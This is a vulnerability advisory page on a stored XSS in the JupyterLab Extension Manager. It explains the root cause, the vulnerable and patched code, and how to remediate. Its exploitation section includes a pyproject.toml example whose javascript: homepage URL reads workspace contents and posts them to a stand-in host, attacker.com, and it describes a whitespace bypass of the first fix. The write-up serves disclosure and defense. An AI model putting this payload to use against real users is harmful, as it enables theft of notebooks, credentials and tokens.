CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-VMHF-C436-HXJ4

GHSA-VMHF-C436-HXJ4: Client-side Stored Cross-Site Scripting (XSS) in JupyterLab Extension Manager

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 19, 2026·5 min read·22 visits

Executive Summary (TL;DR)

JupyterLab versions before 4.5.9 are vulnerable to Stored Cross-Site Scripting (XSS) via the Extension Manager. Attackers can leverage malicious homepage metadata in PyPI packages to execute arbitrary JavaScript in the user's browser session.

A client-side Stored Cross-Site Scripting (XSS) vulnerability exists in the JupyterLab Extension Manager. This vulnerability allows an attacker to register a malicious package on the Python Package Index (PyPI) with a crafted metadata homepage URL using the 'javascript:' pseudo-protocol. When a JupyterLab user opens the Extension Manager and clicks the extension name, the browser executes arbitrary JavaScript code within the context of the JupyterLab origin. This can lead to the theft of active workspace documents, credentials, and API tokens. The issue affects all versions of JupyterLab prior to version 4.5.9.

Vulnerability Overview

The JupyterLab Extension Manager allows users to search, install, and manage extensions directly within the user interface. By default, it queries the public Python Package Index (PyPI) to fetch extension packages and their corresponding metadata.\n\nThe attack surface is exposed via the rendering of this external, untrusted metadata within the JupyterLab user interface. The vulnerability represents a client-side Stored Cross-Site Scripting (XSS) flaw, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-20 (Improper Input Validation).\n\nAn attacker can register a malicious package on PyPI or hijack an existing one to deliver an active payload. When a JupyterLab administrator or user browses extensions, the interface displays the package details, including a link to the homepage. If the homepage URL uses an unvalidated pseudo-protocol, interaction with the UI triggers code execution within the security origin of the JupyterLab server.

Root Cause Analysis

The fundamental cause of this vulnerability lies in the lack of protocol validation for user-supplied links before rendering them in the Document Object Model (DOM). In the JupyterLab backend component, package metadata is retrieved from the PyPI JSON API, and a primary URL is selected from the configuration.\n\nThe selected metadata string is assigned to the homepage_url property and transmitted to the React frontend. In the React widget responsible for rendering list entries, the application processed this URL by embedding it directly inside the href attribute of an HTML anchor (<a>) tag.\n\nBecause the scheme of the URL was not validated or restricted, a pseudo-protocol such as javascript: was parsed as a valid reference. When a user clicks the anchor element, the browser interprets the URI as an instruction to execute JavaScript code in the context of the origin, bypassing security boundaries.

Code Analysis

The vulnerable code path directly assigned the raw string to the anchor tag without any sanitization or protocol checking.\n\ntsx\n{entry.homepage_url ? (\n <a href={entry.homepage_url} target=\"_blank\" rel=\"noopener noreferrer\">\n {entry.name}\n </a>\n) : ( \n <div>{entry.name}</div> \n)}\n\n\nThe first mitigation attempt implemented isProtocolAllowed utilizing the native URL constructor resolved against window.location.href. This attempted to restrict allowed schemes to http: and https:.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url, window.location.href);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n\n\nThis implementation was incomplete because it resolved relative URLs against the current window location. An attacker could prefix the protocol with whitespace or control characters, causing the native parser to treat it as a relative path. The browser's HTML parser, however, would later normalize the string, strip the whitespaces, detect the javascript: protocol, and execute it.\n\nThe final fix resolved this bypass by removing the base URL argument from the URL constructor. This forces the parser to process the input strictly as an absolute URL, throwing an exception for relative paths or malformed strings.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n

Exploitation & Attack Flow

To perform this attack, an actor must publish a Python package containing a malicious URL scheme to the public PyPI repository. This is accomplished by setting the homepage URL under the metadata section of the pyproject.toml file.\n\nThe metadata configuration resembles the following structure:\n\ntoml\n[project.urls]\nHomepage = \"javascript:fetch('/api/contents').then(r=>r.json()).then(d=>fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify(d)}))\"\n\n\nWhen the user accesses the JupyterLab Extension Manager, the backend queries PyPI and displays the malicious extension. The victim must perform a single action of clicking the package name in the extension panel.\n\nOnce clicked, the browser executes the payload. Because the execution occurs within the authenticated JupyterLab origin, the payload can access local resources, retrieve sensitive documents, extract API tokens, or perform unauthorized administrative actions on behalf of the user.\n\nmermaid\ngraph LR\n A[\"Attacker publishes malicious PyPI package\"] --> B[\"JupyterLab fetches package metadata from PyPI\"]\n B --> C[\"User opens Extension Manager UI\"]\n C --> D[\"User clicks on malicious extension name\"]\n D --> E[\"Browser executes javascript: payload in JupyterLab origin\"]\n E --> F[\"Attacker steals notebooks, credentials, or API tokens\"]\n

Impact Assessment

The security impact of this vulnerability is substantial for multi-user JupyterLab instances and administrative environments. Execution of arbitrary JavaScript within the JupyterLab origin allows full control over the user session and the resources exposed to that session.\n\nAn attacker can compromise the confidentiality of the server by reading stored files, workspaces, and notebook data. They can compromise integrity by writing new files, modifying existing code, or running system commands if the terminal API is accessible under the hijacked session.\n\nWhile the CVSS 4.0 base score is calculated as 5.1 (Medium), the actual severity can escalate if the active JupyterLab session has elevated access to backend kernels, sensitive datasets, or internal networks.

Remediation & Mitigation Guidance

The recommended remediation is upgrading the JupyterLab installation to version 4.5.9 or higher. This version implements strict validation of URLs rendered within the Extension Manager React component.\n\nFor instances where immediate patching is not possible, the Extension Manager should be disabled. This prevents any metadata queries to PyPI and eliminates the associated attack vector.\n\nThe Extension Manager can be disabled by adding the appropriate configuration parameter to the jupyter_server_config.json file. Setting extension_manager to \"none\" prevents the rendering of external package lists.

Official Patches

JupyterLab GitHubOfficial Security Advisory

Fix Analysis (2)

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Affected Systems

JupyterLab

Affected Versions Detail

Product
Affected Versions
Fixed Version
jupyterlab
Jupyter
< 4.5.94.5.9
AttributeDetail
CWE IDCWE-79 / CWE-20
Attack VectorNetwork (AV:N)
CVSS v4.05.1 (Medium)
Exploit StatusProof-of-Concept
Affected VersionsAll versions prior to 4.5.9
RemediationUpgrade to v4.5.9 or set extension_manager to 'none'

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

References & Sources

  • [1]GitHub Security Advisory GHSA-vmhf-c436-hxj4
  • [2]JupyterLab v4.5.9 Release Tag

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•39 minutes ago•CVE-2026-72695
8.1

CVE-2026-72695: Authenticated Path Traversal and Arbitrary File Deletion in Grav CMS MediaUploadTrait

A path traversal vulnerability exists in Grav CMS versions prior to 2.0.16. The flaw occurs within the file validation mechanisms of the MediaUploadTrait, enabling authenticated users with media management privileges to bypass sandbox limitations. This allows the deletion of arbitrary files on the filesystem, which can result in denial of service or remote code execution.

Amit Schendel
Amit Schendel
1 views•7 min read
•about 2 hours ago•CVE-2026-74907
5.9

CVE-2026-74907: Directory Traversal in Grav CMS Pre-Boot Static Asset Server

An unauthenticated directory traversal vulnerability exists in Grav CMS prior to version 2.0.15. Due to an insecure string-based containment check (str_starts_with) in the pre-boot static asset server, attackers can read files in sibling directories sharing a prefix with the configured asset path when plugin-asset-map.php is enabled.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 3 hours ago•CVE-2026-75828
9.3

CVE-2026-75828: Stored Cross-Site Scripting (XSS) via Security Filter Bypass in Grav CMS

CVE-2026-75828 is a critical stored cross-site scripting (XSS) vulnerability in the getgrav Grav CMS before version 2.0.15. The vulnerability resides in the detectXss() security filter mechanism, where parser-differential mismatches between the regular-expression-based server-side validation and browser HTML5 tokenization allow authenticated editors to bypass event-handler detection and inject arbitrary JavaScript execution vectors.

Amit Schendel
Amit Schendel
6 views•4 min read
•about 4 hours ago•CVE-2026-75827
8.8

CVE-2026-75827: Grav Arbitrary File Write & Remote Code Execution

An arbitrary file write and remote code execution vulnerability exists in Grav CMS before version 2.0.15. The vulnerability is caused by using an incomplete denylist validation approach for bare PHP functions in the Blueprint dynamic-data compiler, allowing authenticated users with page-editing or blueprint-configuration privileges to execute arbitrary functions such as error_log.

Alon Barad
Alon Barad
6 views•4 min read
•about 5 hours ago•CVE-2026-75834
5.4

CVE-2026-75834: Input Sanitization Bypass leading to Stored XSS in Grav CMS

CVE-2026-75834 is a stored Cross-Site Scripting (XSS) vulnerability in Grav CMS core, caused by a design flaw in its input validation wrapper Security::detectXss(). Regular expressions using the PCRE UTF-8 /u modifier fail-open when encountering invalid UTF-8 sequences or when the PCRE JIT stack limit is exhausted, allowing authenticated users with page-editing privileges to save malicious HTML and scripts.

Alon Barad
Alon Barad
6 views•6 min read
•about 6 hours ago•CVE-2026-75837
9.1

CVE-2026-75837: Privilege Escalation in Grav CMS via Missing Blueprint Validation

CVE-2026-75837 is a critical privilege escalation vulnerability affecting the Grav Flat-File Content Management System (CMS) in versions prior to 2.0.14. Due to a missing security guard on the access field within the core Flex group blueprint configuration file (system/blueprints/user/group.yaml), a delegated administrative operator can submit a crafted payload to elevate their permissions to super-administrator, which can then be leveraged to achieve remote code execution.

Alon Barad
Alon Barad
5 views•8 min read